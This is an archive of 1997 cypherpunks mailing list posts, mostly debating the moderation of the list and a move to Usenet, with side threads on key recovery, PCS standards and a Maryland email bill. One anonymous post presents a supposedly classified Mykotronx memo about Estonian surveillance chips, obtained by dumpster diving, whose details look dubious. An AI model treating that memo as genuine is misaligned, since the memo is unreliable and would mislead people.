Subject: Re: Dissolving Choke Points
Message-ID: <199702040141.RAA09208@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Hendrickson <pdh@best.com> writes:
> There are lessons to be learned here.  One is that censorship does
> not promote a stimulating and creative dialogue.  The cypherpunks list
> right now is about as interesting as hanging out by the 7-11.

Censorship adds a social hierarchy, and this is inevitably resented.

A similar problem existed with ICS (Internet Chess Servers), they
include a MUD like facility where users can discuss chess.  For misc
reasons certain behaviour was frowned on, and a system of control was
added to the software where certain users where given moderator
status, and could kick others off.

The fact that some of the moderators were particularly poor players
helped to annoy others who though outspoken, where good chess players,
and led to the particularly long thread in alt.chess (or whatever
group it was) titled `guppies rule the goldfish bowl' or something.
(A `fish' is a newbie chess player, a guppie being a small fish,...)

Interesting repetition of the social phenomena of resentment of power
in electronic forums (however well intentioned, and for whatever
perceived social good).

> Another lesson is the danger of choke points.  We can see how
> tempting it is for people to exercise their control.  Even John Gilmore
> was unable to restrain himself from involuntary social engineering
> experiments.  Who would we have considered to be more trustworthy?

Quite.  For a pedigree of championing free speech, and unpaid efforts
to further freedom, he was high up on the list.  I'd feel happier if
he was joining in with these discussions, rather than getting
interested to the extent to set up moderation, even though not
participating in the discussions.

> [distributed list homing ideas]

sounds good.  But what about USENET groups?  They're distributed, what
feature of your proposed solution is superior to using USENET groups
distribution mechanisms in your opinion?

Several times in the past, a USENET newsgroup alt.cypherpunks was
suggested.  Some people were against it because they felt that it
would attract more noisy posters.

Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
an aside, it is ironic that John Gilmore was the guy who started the
alt.* USENET hierarchy, specifically to facilitate freedom of speech).

> P.S. I like and respect John and Sandy and I've learned a lot from
> both of them.  While basically well-intentioned, they just made a
> mistake in this instance.

Agree.  Also, the quicker they acknowledge their actions as mistakes,
and correct the results, the less their reputations will suffer.

Perhaps at the end of the trial moderation experiment would be a good
time to change position without loosing face.  (If acknowledging
mistakes bothers them).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:40:40 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041440.GAA28269@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Scott V. McGuire wrote:

> (Even within the community, some people are more a part of
> it than others, and nobody is more a part of it then Tim.)

Is this like saying "some of the pigs were more equal than the others"?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 3 Feb 1997 22:26:12 -0800 (PST)
To: roach_s@alph.swosu.edu
Subject: Re: Dissolving Choke Points
Message-ID: <199702040626.WAA16884@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"roach_s@alph.swosu.edu"  "Sean Roach"  4-FEB-1997 00:47:40.30

>On your idea for fast implementation,  this could be hacked by would-be
>censors.  A message comes into the list, the censor sees that the post is
>from a regular enemy.  The censor then copies the header information onto a
>new message, one containing garbage, or snippets from old posts, reads the
>new post to see if it is acceptable, and if it is, adds a new header,
>probably only the time would be changed, and transmits it out.  If the would
>be censor was the sysop of a machine near the origin of the message, and if
>the censor operated the censorship either by bots, or monitored the feed 24
>hours a day, (not likely), then the actual message would get to few.

	I would suggest that the cure for this problem is to have what is
examined be a cryptographically secure hash instead of (or as well as)
the message ID. The hash should be over the body of the message, and possibly
the sender and Subject line.
	Unless Lance has driven up the prices at Infonex a lot, I'd be willing
to support such a server on an Infonex account. I'd _greatly_ appreciate help
getting the thing started, preferably as a group endeavour (to spread the
load (i.e., keep infonex from being overwhelmed), keep me from temptation,
and make it less likely that a legally troublesome message would go through
an account that I might be blamed for).
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:41:00 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: New X-Ray Imager
Message-ID: <199702041441.GAA28345@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:
> New X-ray gun trades privacy for safety
> Reported by Andy C
> Seen in The Nando Times on 13 August 1996
> "I'm incredibly concerned," said John Henry Hingson, a past president of the
> National Association of Criminal Defense Lawyers, meeting here this past
> week. "The entire nation could become a victim of illegal searches and
> seizures and the law is powerless to protect them from these police abuses."
> But in these nervous times following the the crash of TWA Fight 800 and
> bombings at the Olympics, Oklahoma City and the World Trade Center, many
> Americans are now willing to trade some of their privacy and civil liberties
> for greater security.
> A poll last week by the Los Angeles Times found that a majority of people --
> 58 percent -- said they would curtail some civil liberties if it would help
> thwart terrorism. Thirteen percent said it would depend on what rights were
> at stake. The poll didn't ask people to single out any rights.

The L.A. Times quotes this "poll" all the time, and in fact probably
just made it up.  Why do I know that?  Because they ran a "letter"
from a "teacher" in the valley somewhere about a year ago which said
exactly this same thing.  The "teacher" ran a poll of her students
and they agreed to give up the rights without even knowing which
rights they were giving up.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:40:57 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041440.GAA28334@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 10:50 PM -0500 2/3/97, Michael Froomkin - U.Miami School of Law wrote:
> >(1) I agree with Tim that as a matter of principle, it would be preferable
> >to create a new moderated list, with a similar but distinguishable name,
> >and leave the existing list as it was.  I happen to think less turns on

> This is a point of view many of the most thoughtful commenters seem to
> agree on, isn't it? One would have thought that had Sandy and John really
> been interested in hearing the views of list members, this approach would
> have eventually won out.

Once again, the reason John and Sandy weren't interested was because
the main proponents of this point of view for a long time were me,
Dr. Vulis, and Toto.  Tim and others were either supportive of Sandy
or were silent.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 06:26:46 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702041426.GAA27970@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gbroiles@netbox.com"  "Greg Broiles"  4-FEB-1997 01:26:13.34

>(I'm working on a message re moderation and the list which will better
>explain what I think about that - but I'm not trying to argue, above, that
>we *must* have moderation for a long time - simply that it's too early to
>call it a failure for failing to significantly increase the number of
>useful messages.) 

	I'll be interested in that message. I have problems with the
takeover of the original list name, personally. While it is certainly
John Gilmore's right to do whatever he wants with the mailing list
software/hardware (I believe we've settled that, right?), I'd prefer
for the cypherpunks _name_ not be associated with a moderated/censored
list. (I mean no insult to either Sandy or John in this, BTW... I
simply think that they've gone about this the wrong way. For instance,
if John was getting an email overload for toad.com and was trying
to indirectly reduce the load via reducing responses to flames, there
are other ways to solve the problem - such as the distributed mailing
list idea. I do think that Sandy's filtered list could provide a
valuable service - most of the other filtered lists seem to filter
out a bit too much, judging by the "cc any replies to this message
directly to me, I'm on the [insert name of filtered list]" messages I
see. If the list switches to cypherpunks and cypherpunks-edited, I
might go with cypherpunks-edited (or with some combo of cypherpunks-edited
and cypherpunks-flames, the latter more filtered by procmail). My
objection is mainly due to the principle of the thing.)
	Incidentally, I checked the cyberpass.net services, and it
does list mailing lists - including a 10$ per month charge per
100 subscribers. At that rate, I can afford about 100 subscribers
on a local distributed list, given the 10% discount. (Depending
on how it goes, I might be able to afford more... I haven't looked
at my personal finances in detail recently.)

>I think you misspelled "Usenet". Hope this helps. 

>Seriously, if you want a distributed no-choke-points "flooding" message
>distribution system, you're talking about Usenet. Robust software exists
>for clients and servers, and it's already supported worldwide on many
>operating systems. No need to write more software to graft that
>functionality onto E-mail. If the list is going to turn into Usenet (we've
>already got most of Usenet's better kooks), we might as well just move the
>damn thing over to alt.cypherpunks and be done with it. (Anyone care to
>guess who founded alt.* as a way to route around censorship?)

	I'd point out that we _know_ every list member can get email,
but not that they can get Usenet. I can't conveniently get it, for
instance - I'd have to read it via HTTP and respond via email to
a news-to-mail server. Sure, I can get an account at infonex or
wherever and pick up the news groups there... but I'd prefer not
to be forced to, and I suspect the same is true of many people.

>(Of course, Usenet is a technical success and a spectacular failure,
>content-wise. So opponents of moderation will be forgiven for failing to
>mention this sparkling example of an unmoderated, anything-goes forum for
>discussion.)

	Usenet also has easy crossposting, has been discovered by
just about every spam artist known to humankind, and doesn't have
very good filtering software (IMO, the last time I checked). Limited
propagation, especially for a new alt group, especially for a _controversial_
alt group, is also a problem.
	Sure, Usenet has its advantages. (Under allens@earlham.edu and
allens@yang.earlham.edu, I was the second or third highest poster on it
for a few weeks a few years back. I'm familiar with Usenet.) But it also
has its problems.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 4 Feb 1997 06:41:07 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Dissolving Choke Points
Message-ID: <199702041441.GAA28354@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:58 PM 2/3/97 -0800, Bill Stewart wrote:
>An advantage of Usenet is the ability to deploy whatever NoCeM is
>called these days as a way to let people avoid spammers.

My mention of Usenet was somewhat tongue-in-cheek; I don't know if I'd bother
with the list if it were moved to (or gated with) Usenet, as Usenet has
become for the most part 100+ Mb/day of uselessness.

But my impression is that many moderation opponents would also be opponents
of a move to Usenet. Perhaps I'm wrong. But Usenet offers precisely what many
people claim we must have for the list to be viable, e.g.,
uncontrolled/uncontrollable distribution and messaging. So I'm curious about
whether or not the proponents of an open, uncontrolled list really want it to
be *that* open and uncontrolled. In the past, there's been strong opposition
to that. But it's possible that most of the people who had strong feelings
about not wanting to be subjected to the downside of Usenet have already left
the list.

(And if the current opponents of moderation don't want to see the list be
quite that open, I think what we're arguing about here is not "censorship v.
no censorship" but "what degree of censorship do we want? one lump, or two?",
which pretty much eliminates anyone's claim to have a moral high ground from
which to argue.)  

There's really nothing stopping anyone from just setting up a gateway. The
list is already gated one-way to Usenet; it shows up many places as
mail.cypherpunks. What's missing is a gateway running the other direction;
from looking at the headers as messages are received at my ISP (io.com),
toad.com is already in the Path: line, so preventing backfeeding shouldn't be
a problem. (Doh, it's been a few years since I fussed with mail-to-news and
back again, but this isn't rocket science.) 

The good side I see to a move to Usenet is that it lets people use the
comparatively better tools for managing messages - e.g., NoCeM, threading, nn
(whose killfiles will kill by thread, author, regexp, and can be time limited
so you can easily give annoying people a 30-day 'timeout' and see if they're
still a kook later on), AltaVista and DejaNews archiving/searching, and
server architecture that's designed to cope with storing/indexing many
messages.

The down side is that Usenet is more or less a sewer these days, and some of
it's bound to spill over. 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Mon, 3 Feb 1997 19:26:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: More Hacking of the Mykotronx Site!
Message-ID: <199702040326.TAA12074@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hey, d00dz, remember the dumpster diving at Mykotronx facilities in
Torrance? Where they dumped their secret plans for the Clipper chip in the
dumpsters right outside their little building in Torrance? Where guys like
me could find their spreadsheets for budget planning, production run rates,
deals with VLSI Technology, Sandia, and the other NSA  stooges? Remember
how they suddenly started shredding their papers? Well, it's been 3 years,
and apparently the new guys at Rainbow (the parent company) have forgotten
their lesson!

So, here's the latest stuff:

>>>quote

* INTERNAL USE ONLY * COMINT-restricted, limited to M3 classifications
Distribution beyond M3 a national security felony

Mykotronx has agreed to provide to the Estonian government 79.000 MYK-82
processors for its Personnel Surveillance System, as part of the
negotiations to provide Observer Status for Estonia in NATO. Negotiations
continue between Ambassador Aaron and the NATO nations have established
as a minimum that new entrants into the NATO community adhere to the
Unified Cryptography Initiative, initialed by NATO ministers in
Bruxelles, 10-13-96.

Estonia has signified compliance, as noted by their Internal Security
Directorate:

"Kiipe valimistatakse praegu Californias asuvas firmas MYKOTRONX Ltd. ja
ta hind kuigub 10 kuni 30 dollarini olenevalt konkreetsest
       t||bist ning ta on vuimline kr|pteerima/deshifreerima 15-20 MB/s."

Spysrus agrees to integrate into Personel Surveillance System (PSS)
modules for Internal Security Service (ISS) use.for over 79,000 of
Mykotronx's new Capstone encryption processor (MYK-82). The devices will
be used to build part of the Estonian government's order of Fortezza
Cryptographic Cards for the PSS awarded November 1996. Initial delivery
of the new cryptographic processor will begin June 1997.

The MYK-82, developed by Mykotronx and fabricated by VLSI Technology,
Inc., is the first of a series of security products to be developed as
part of an alliance with the NSA, targeting both Government and
commercial citizen monitoring markets.


--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 4 Feb 1997 06:41:32 -0800 (PST)
To: Wei Dai <weidai@eskimo.com>
Subject: Re: what's in a name?
Message-ID: <199702041441.GAA28375@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:58 PM 2/3/97 -0800, Wei Dai wrote:

>An interesting way to look at what happened is that John
>Gilmore owns the name "cypherpunks@toad.com" and has chosen to exercise
>that ownership. [...]
>I suspect that the hierarchical nature of name ownership on the Internet
>today will be an important technological barrier for the establishment of
>truly anarchic virtual communities.  Unless this problem is solved, the
>closest we'll come is pseudo-anarchies that exist with the tolerance of
>beneficent dictators.

Wei Dai's message raises an important question: what is the relationship
between ownership and list content or quality? 

Much of the pathology of the list in the past few months can be characterized
as a "tragedy of the commons" problem, where several private actors are
seeking to maximize the gain they can extract from a finite and commonly
owned (or unownable) resource. The resource in this case is the "reputation
capital" which has built up in the terms "cypherpunks" and
"cypherpunks@toad.com". Dmitri Vulis' behavior, where he seeks to punish the
list for failing to punish or ostracize Tim May after Tim was disrespectful
to Vulis, is an attempt to achieve private gain (public retribution) at the
expense of public goods (the continuing quality and good name of the list).
Several authors have characterized John Gilmore and Sandy Sandfort's actions
with respect to moderation and the list as an attempt to monopolize or
appropriate the good name of the list for their own private purposes. (I do
not think that the latter characterization is accurate, but it is at least
popular.) I suspect that many people will see at least one "tragedy of the
commons" problem related to the list.

Some free-market economists have suggested that the solution to "tragedy of
the commons" problems is private ownership - that where economic actors are
given ownership over what might have been owned in common, that they will
seek to maximize their long-term gain through careful management and will not
adopt wasteful or harmful short-term strategies which would have otherwise
seemed attractive.

That view (that private ownership is likely to eliminate or at least minimize
wasteful or nonoptimal use of resources) has historically been a popular one
on the list. Yet private ownership of the list (or of the list's most
concrete identity, the label "cypherpunks") seems wrong to many people.

Are mailing lists an example of a situation where "the tragedy of the
commons" is not a useful metaphor? Are mailing lists an example of "public
goods" where private ownership is impossible, or should be avoided? If not,
shouldn't we work towards more private ownership, not less?

Is the desire for an anarchic community at odds with a desire for good use of
resources? 

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvcZgv37pMWUJFlhAQEf6gf9FAPo+nF/h3ZAZTTzmZZLpj57xDvpcgKW
oXCvalcY20s+ah26SFP5cInGSxgOy+UC5zxAeEz/Oo/M/5n1LVZTFVg7f3PORgJW
VwY7uVhqvekaX/vNYutg7RpwvhdEz5dneipZMaFOWm0M+8ipZ5Ffb6vNLpRd6h2v
Hf+zF6aTvleTxQX1e3C8nrL1hhXd8HX12nK/Kz4/lOyRYvKw//VxtVa3++2M158t
YtBXQKLlYAW/NMUhMMSuqvkWbCW3PrDBhpsZRXXqWyruIeV3TKHlR4N3Rru74wHj
DPNH8sek3Ql8sjA0BbziUqbC15mLH6QSZbxy4MPVwc2s8r4Ff6t1Ew==
=QFGr
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 4 Feb 1997 06:56:40 -0800 (PST)
To: hugh@toad.com
Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702041456.GAA28779@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm glad we're talking about some of the real issues here.

Tim May said:
> I don't want Sandy Sandfort sitting in judgment on my
> posts, deciding what the Cypherpunks--a group I co-founded for God's
> sake!!!!--are to be allowed to read and what they may not.

Tim, the Cypherpunks have chosen to follow Sandy's lead for this
month.  I'll admit I made it easy for them, but the results are
conclusive.  There are 1311 addresses in the cypherpunks list today;
42 in the unedited list; and 19 in the flames list.  Forty people
cared enough to read every posting; the other thousand either wanted
to try the experiment -- or didn't care enough to send an email
message.  Which, as we all know, is a very low threshold.

If I was a social scientist I might want to run the experiment both
ways, or six different ways.  Name it this, or name it that.  I'm not;
all I want is something that works.  The cypherpunks list was unusable
for this kind of discussion, only a month ago.  It's usable now.

I'm definitely bugged by the community's attitude toward my
"censorship".  Rather than being glad that someone, anyone, was doing
something about the major problem on the list, 99% of the reaction was
to create even more ill-considered, emotional flamage.  *I* didn't
make the signal/noise get worse at that point -- *you-all* did.

Perhaps at that point I should have shut down the list, as Lucky is
now suggesting.  "Asking the list what to do" was clearly not a useful
option.  Sandy cared enough about the community to make some concrete
suggestions to me about how to get the list back on track.  They
involved a lot more work than the previous setup.  I told him if he
was willing to do the work, we could try it.  As Dale suggests, I
wasn't about to waste my time reading the whole list in real time and
passing judgement on the postings.  Sandy was, for a month.

The element I find most lacking from the whole discussion, until
recently, has been responsibility.  In an anarchy, *everyone* is
responsible; nothing is "somebody else's job".  Sandy felt
responsible, so he proposed something.  I felt responsible, so I
helped.  But a large part of the community sat on the sidelines and
criticized, without making attempts to make things better; indeed the
volume and tone of the criticisms themselves made things worse.
Unpaid labor for a peanut gallery of spoiled children isn't very
gratifying.  You-all remind me of a passage from Booker T.
Washington's book _Up From Slavery_, describing what happened on the
night that news of the Emancipation Proclamation reached the South:

    The wild rejoicing on the part of the emancipated coloured people
    lasted but for a brief period, for I noticed that by the time they
    returned to their cabins there was a change in their feelings.
    The great responsibility of being free, of having charge of
    themselves, of having to think and plan for themselves and their
    children, seemed to take possesion of them.  It was very much like
    suddenly turning a youth of ten or twelve years out into the world
    to provide for himself.  In a few hours the great questions with
    which the Anglo-Saxon race had been grappling for centuries had
    been thrown upon these people to be solved.  These were the
    questions of a home, a living, the rearing of children, education,
    citizenship, and the establishment and support of churches.  Was
    it any wonder that within a few hours the wild rejoicing ceased
    and a feeling of deep gloom seemed to pervade the slave quarters?
    To some it seemed that, now that they were in actual possession of
    it, freedom was a more serious thing than they had expected to
    find it.

Most of the people on the list haven't bothered to face that freedom.
Your de-facto "leaders" have faced it for you.  It is a more serious
thing than than you expect.  All it takes it hard work and judgement.
Be responsible for setting your society's privacy policy -- without
knowing whether you are right.  Face the uncertainty and build anyway.
Shall I post you an Emancipation Proclamation -- as if you needed one?
Start a mailing list on another site!  Move this list to somewhere!
Create and nurture an alt group!  Make an independent moderated list
drawn from the unedited list!  Hold meetings!  Establish for it a
home, a funding, the rearing of newbies, education, citizenship, and
the establishment and support of philosophies.  Dead simple for people
as capable as us.  Just takes work.  Who's volunteering?  Just do it!

The experiment will be over in a few weeks.  Who's going to take over
deciding how to run the list, and running it?

If you want to help organize what I'll call the `progressive crypto
community', for lack of a better term, then please do.  Otherwise, in
the immortal words of Lazarus Long, "PIPE DOWN!".

	John

PS: Can we talk about crypto too?  It's clear from the last few days
of press releases that the pro-GAK forces are again working to confuse
novices into thinking that two very different things are the same
thing.  Last time it was "public key infrastructure" and "key
recovery".  This time it's "strong crypto" and "56-bit DES".  What
should we do about this?  Educate the public?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Rose <ggr@Qualcomm.com>
Date: Mon, 3 Feb 1997 12:11:30 -0800 (PST)
To: wb8foz@nrk.com
Subject: Re: PCS Encryption?
Message-ID: <199702032011.MAA01039@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


David Lesher writes:
>Greg Rose sez:
>> 
>> The three different digital standards in North
>> America are TDMA, CDMA, and GSM (in NY and DC
>> only AFAIK).  Newer analog phones use at least
>> some of this, but I don't know much about them.
>
>? I always thought GSM was a specific application
>of TDMA...

Technologically, GSM *is* a kind of time division
multiple access, but the term "TDMA" as I used it
is meant to apply to North American IS-128(?)
compliant things. They are definitely not
interoperable.

Greg.

Greg Rose               INTERNET: ggr@Qualcomm.com
Qualcomm Australia      VOICE:  +61-2-9743 4646   FAX: +61-2-9736 3262
6 Kingston Avenue       homepage.
Mortlake NSW 2137       35 0A 79 7D 5E 21 8D 47  E3 53 75 66 AC FB D9 45





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 07:11:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702041511.HAA29113@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:
> I'm glad we're talking about some of the real issues here.
> I'm definitely bugged by the community's attitude toward my "censorship".

I'll bet you are.

> Perhaps at that point I should have shut down the list, as Lucky is
> now suggesting.

He'd really like to, but...

> You-all remind me of a passage from Booker T.
> Washington's book _Up From Slavery_, describing what happened on the
> night that news of the Emancipation Proclamation reached the South:

What we most remind him of are slaves.

> Most of the people on the list haven't bothered to face that freedom.

Which freedom is that?

> If you want to help organize what I'll call the `progressive crypto
> community', for lack of a better term, then please do.  Otherwise, in
> the immortal words of Lazarus Long, "PIPE DOWN!".

i.e., stop saying what I don't want to hear and start saying what I
do want to hear, after all, it's *my* list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 4 Feb 1997 06:25:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: what's in a name?
Message-ID: <199702041425.GAA27874@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Without answering any of the points raised by Wei Dai, let
me address the subject line.

I have been a long time reader of and occasional contributor to
the cypherpunks list. Since it is high volume, I prefer not to have
it show up in my mailbox, but read it from either nntp.hks.net or
infinity.nus.sg/cypherpunks. With the recent change in status of the
list, what I get at those two places is the edited list. The same
would apply to other sublists subscribed to cypherpunks@toad.com too.
If hks and infinity started archiving the unedited list, this wouldn't
bother me so much.

Other than that, I am saddened, as much as a Tim is enraged, that
a supposedly libertarian and anarchistic group of people has decided
that censorship is the right solution to their problems.

Btw, what is with nntp.hks.net? Seems to have been down for couple
of days.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Tue, 4 Feb 1997 06:56:07 -0800 (PST)
Subject: No Subject
Message-ID: <199702041456.GAA28735@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 4 Feb 1997 06:42:40 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: About: My Departure, Moderation, and "Ownership of the List
Message-ID: <199702041442.GAA28392@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> For what it's worth, I think that this Tim May, not being a
> user of the list, has no place to talk. His type, to me,
> characterate those who quit something and complain later,
> knowing that some people will listen to them.

Tim May has been one of the most intelligent, eloquent and on-topic 
posters to this list in it`s entire history... Who the hell are you?

I would respond to your post with reasoned and logical argument but I 
cannot find one substantive point in it that is worthy of comment. I 
will muddle through as best I can anyway:

One easy jibe here is you don`t know how to spell characterise, maybe 
you would be better off unimbibing?

> So what, if he decided to leave? It was his own choice
> and he can't just come back and say everyone who stayed is
> now impelled to listen to him, just because he used to
> do a bunch of posts. I don't think that hardly any of
> you would listened to me later if I left the list.

No-one knows who you are nor do we care, you have not accumulated any 
reputation capital nor are you likely to with posts like this.

Tim tried to cover in as much depth as possible without resorting to 
verbosity the points he felt were important and worthy of discussion 
regarding the censorship of the list and other associated issues.

You were not impelled to read his post nor to reply to it with a 
content-free rant as you did. If you felt "impelled" to read a post 
simply because it was on a screen in front of you you clearly do not 
understand even the rudiments of anarchism.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@mail.bcpl.lib.md.us" <tmcghan@mail.bcpl.lib.md.us>
Date: Tue, 4 Feb 1997 06:56:05 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Embarrass a Marylander, Go to Jail
Message-ID: <199702041456.GAA28733@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


in a message allegedly from:  Robert Hettinga <rah@shipwright.com>

this appeared...

>  A Maryland bill that would make it illegal to send "annoying"  or
>  "embarrassing" e-mail was introduced this week by Democratic General
>  Assembly member Samuel Rosenberg.
{snip}
> "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle

As a marylander, in particular, a baltimoron, I am both embarrassed
and annoyed that these legislative bozos have the unmitigated gall
to expend time and energy on pursuits such as these.  Perhaps they
feel that our state attorney general needs to earn his excessive
salary by attempting to defend this constitutionally indefensible
mental excrement.  Did the defeat of CDA not resonate? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@mail.bcpl.lib.md.us" <tmcghan@mail.bcpl.lib.md.us>
Date: Tue, 4 Feb 1997 06:58:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Information Warfare
Message-ID: <199702041458.GAA28816@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


in a message allegedly from:  Peter Hendrickson <pdh@best.com>

> The cypherpunks list has been under "attack" for some time.
{snip}
> Some people have dismissed the idea that rogue governmental elements
> are behind some of our problems.
{snip}
> We know that "Information Warfare" is the big thing in the defense
> establishment right now.

Information Warfare Conference
sponsored by DPMA/AITP

Washington, DC, March 13-14, 1997
Crystal City Marriott
1999 Jefferson Davis Highway
Arlington, VA  22202

Presentations by:
Major General Michael V. Hayden, Commander, Air Intelligence Agency
Dr. C. Kenneth Allard, Competitive Strategies
Col. H. Stevens, Land Information Warfare Activity

- current service visions and planned program initiatives
- operational concepts for 'third-wave' warfare
- information warfare drivers for 21st century C4I architectures
- emerging technologies and systems for information warfare 
superiority: opportunities on the horizon

'information warfare targets and vulnerabilities', Maxim I. Kovel,
 TASC systems management group

'information warfare for deterrence', William H.J. Manthorpe, Jr.
Applied Physics Laboratory, Johns Hopkins

'adaptive techniques for counter-deception', James Llinas,
technical advisor, DOD JDL, Data Fusion group

'emerging threats come in all sizes and flavors', Eugene Schultz, SRI
consulting

"Information has been termed the 'fifth dimension' in the conduct of 
'third-wave' warfare, and promises to dramatically enhance the role 
of C4I as a force multiplier.  Joint and individual service doctrine 
is emerging for IW, ans is affecting the needs and requirements for 
diverse systems:  from space-based surveillance and communications 
systems to terrestrial image processing, visualization, and 
information fusion systems."

"This conference will provide a valuable forum where military and 
industry staff can interact with key decision-makers to achieve the 
most current possible understanding of Information Warfare concepts, 
initiatives, technologies and potential opportunities.  The Critical 
Questions to be addressed include:

- how is IW changing operational concepts?
- how can we defend the weak links in the planned 
information-intensive reconnaissance, strike, targeting architecture?
- what developments in enabling technologies are needed to support 
current Information Operations, Battlefield Visualization, and 
Information Exploitation initiatives?
-what can be done to develop defensive information technology 
capabilities?

            and last, but _c_e_r_t_a_i_n_l_y_ not least:

- how will we move forward to develop a true offensive IW capability

==============================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 4 Feb 1997 10:05:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: IBM's SecureWay Key Recovery technology
Message-ID: <199702041805.KAA02744@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>From <http://www.ibm.com/Security/html/prkeyrec.html>:

>At the RSA Conference, IBM announced the details of its highly
>anticipated SecureWay key recovery technology. IBM is developing this
>technology in response to market demands for exportable strong
>encryption required to advance the growth of global e-business.
>[ yada yada yada snipped ]

I attended this presentation. Basically, what they do is to add
two packets to the "channel setup process", one that depends only
on the coorespondents, the other that contains the information
about this particular session.

A problem with this, as I pointed out to the presenters, is
that the first packet can be trivially used for traffic analysis.
The eavesdropper may not be able to determine who is
cooresponding, but they can tell if it is the same people
as in a previous conversation.


>From <http://www.ibm.com/security/html/wp_keyrec2.html>
>In order to minimize the preparation overhead, the recovery information
>is prepared in two phases: one phase is independent of the particular
>session/archive key being prepared; the second phase is dependent on the
>particular key and session parameters. The first phase, which uses
>public-key encryption, can be shared across multiple invocations of key
>recovery preparation, thus reducing overhead. The public-key encryptions
>can be stored for repeated use.
>
As you can see, IBM suggests cacheing the contents of the
first packet, so that you don't have to recalculate it each
time. Imagine how easy traffic analysis would be if the
identification packets were identical instead of just related.



